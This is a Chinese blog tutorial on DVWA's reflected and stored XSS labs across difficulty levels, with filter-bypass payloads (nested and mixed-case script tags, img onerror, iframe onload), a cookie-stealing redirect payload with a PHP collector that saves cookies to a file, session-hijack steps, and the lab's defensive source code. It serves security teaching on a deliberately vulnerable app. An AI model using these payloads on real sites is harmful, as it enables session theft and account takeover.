zoukankan      html  css  js  c++  java
  • 1.4 DVWA亲测XSS漏洞

    首先需要有配置好的DVWA环境,像下图这样
     

    其中:     

    XSS (DOM) :  DOM型XSS漏洞

    XSS (Reflected) : 反射性XSS漏洞

     XSS (Stored) :  存储型XSS漏洞


     
    我们先来看XSS(Reflected): 反射型的XSS漏洞
     
    首先,我们选择LOW等级
    XSS (Reflected) :
    点击出现如图所示
    我们先来输入  xss  ,点击确定

    我们接着来输入<xss> ,点击确定

    这时发现插入html标签的话,页面会发生变化,我们尝试js弹窗

    我们继续输入<script>alert('xss')</script>,点击确定

    这时说明这个网站可以进行XSS攻击,我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ,就可以得到要攻击的人cookie信息

     攻击过程总结:
     1.攻击者的web设计用来接收cookie,如下:
    <?php
       $cookie = $_GET['cookie'];
       file_put_contents('cookie.txt',$cookie)
    ?>
     
    2.构造并发送攻击url:
    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
    注意:<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行
    URLlencode的编码,否则不会攻击成功
     
    3.得到cookie后,我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies
     

    4.完成后,我们直接访问index.php,发现我们已经已被攻击者的身份登陆,可以赶我们想干的事情了


     
    接下来我们选择Medium等级的XSS
    XSS (Reflected) :
    点击出现如图所示

    我们先来输入<script>alert('xss')</script>  ,点击确定

     
    发现已经失效,无法正常弹窗,<script>标签被过滤了,不过我们也有方法
    1. <scri<script>pt>  应为过滤程序只会过滤一次,嵌套可以完美绕过。
    输入<scr<script>ipt>alert('xss')</script>   

    2.   <ScRiPt>   大小写混合绕过

    输入<ScRiPt >ipt>alert('xss')</ScRiPt >
     
     
    接下来我们选择High等级的XSS
    XSS (Reflected) :
    点击出现如图所示

    我们先来输入<script>alert('xss')</script>  ,点击确定

     
    我们尝试嵌套,大小写,发现都是失效的
     
    但是能够插入xss代码的标签并不只是<script>,
    还有<img>标签,同样也可以
     
    输入 <img src=x onerror=alert('xss')>,点击确定
     
    onerror事件会在文档或图像加载过程中发生错误时被触发
    应为src=x本事就是一个错误代码,所以触发事件执行
     
    还有<iframe>标签同样可以:
    输入 <iframe onload=alert('xss')>,点击确定
     
    <iframe>标签可以在一个html代码中嵌入另一个html内容
    onload 是js的一个事件,事件会在页面加载完成后,立即发生,同时执行被调用的程序。
    注意:1. 加载页面时,触发onload事件

     
    接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的
    XSS (Reflected) :
    点击出现如图所示

    我们先来输入<script>alert('xss')</script>  ,点击确定

     

    发现代码原封不动的输出出来了,我们通过fire bug 查看元素

     
     
    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
    我们输入的符号都被转义了,使他们丧失了功能
     
    查看后台代码
    <?php
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
     
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
     
        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }
     
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
     
    原来是htmlspecialchars()这个函数把符号给编码了
     

     
    接下来让我们来看XSS(Stored): 存储型XSS漏洞

    首先,我们选择LOW等级
    点击出现如图所示

    是留言板性质的

    我们先来尝试输入

    发现输入不完整,估计是后台的输入框限制了长度

    先查看源代码

    果然不出所料

    然后我们用火狐浏览器上的Tamper date 进行抓包改包
    点击发送就可以成功绕过
    或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包:

    然后改包:

     
     结果 :
     这样就简简单单突破限制

     
    下面我们进入Middem等级
    点击确定后

    我们发现name中还是限制了字数,但在Low等级中我们已经列出解决办法,这里不再赘述

    我们在Message表格中写入<script>alert('xss')</script>,发现如下图

    发现<script>标签被过滤,此处我们也已经列出过解决办法,也不再赘述

    抓包改包,用大小写混合的方法就可以成功绕过
     
    我们看一下源代码:
    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
     
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?                 mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
     
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
     
        //mysql_close();
    }
    ?>
    这代码不可谓不精细,message防注入做的很棒
     
    addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
     

    接下来我们进入High等级

     点击确定后

    我们在Message处尝试输入<script>alert('xss')</script>

    我们又遇到了meddiem的问题:
    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
     
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
     
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
     
        //mysql_close();
    }
    ?>
    发现name已经完全过滤了<script>,区分大小写,以前的方法都失效了
    这时我们采取新办法,我们在name中输入 <img src=x onerror=alert('xss')>
    发现成功绕过
     

    接下来我们进入不可能注入的impossible等级

    这时我们先来看代码

    <?php
     
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
     
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
     
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
     
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
     
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
     
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响:
    • x00
    • '
    • "
    • x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
     
     
  • 相关阅读:
    Orchard源码分析(4.3):Orchard.Events.EventsModule类(Event Bus)
    Orchard源码分析(4.2):Orchard.Logging.LoggingModule类
    Orchard源码分析(4.1):Orchard.Environment.CollectionOrderModule类
    Orchard源码分析(4):Orchard.Environment.OrchardStarter类
    Orchard源码分析(3):Orchard.WarmupStarter程序集
    Orchard源码分析(2):Orchard.Web.MvcApplication类(Global)
    MSSQL
    MSSQL
    C#、WinForm、ASP.NET
    C#、WinForm、ASP.NET
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8806856.html
Copyright © 2011-2022 走看看